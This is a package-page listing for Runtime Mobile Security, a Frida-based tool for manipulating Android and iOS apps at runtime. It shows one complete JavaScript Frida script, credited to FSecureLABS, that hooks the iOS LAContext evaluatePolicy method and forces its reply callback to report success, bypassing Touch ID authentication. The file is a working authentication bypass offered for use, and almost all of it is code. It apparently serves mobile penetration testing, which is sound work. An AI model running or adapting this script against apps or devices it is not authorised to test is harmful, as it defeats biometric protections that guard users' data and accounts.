rms-runtime-mobile-security
Version:
Runtime Mobile Security (RMS), powered by FRIDA, is a powerful web interface that helps you to manipulate Android and iOS Apps at Runtime
23 lines (20 loc) • 771 B
JavaScript
/************************************************************************
* Name: Bypass Touch ID
* OS: iOS
* Author: @FSecureLABS
* Source: https://github.com/FSecureLABS/needle
*************************************************************************/
send("Bypass Touch ID - Script Loaded!")
var hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"];
Interceptor.attach(hook.implementation, {
onEnter: function(args) {
send("Bypassing Touch ID")
var block = new ObjC.Block(args[4]);
const callback = block.implementation;
block.implementation = function (error, value) {
send("Touch ID - Bypassed")
const result = callback(1, null);
return result;
};
},
});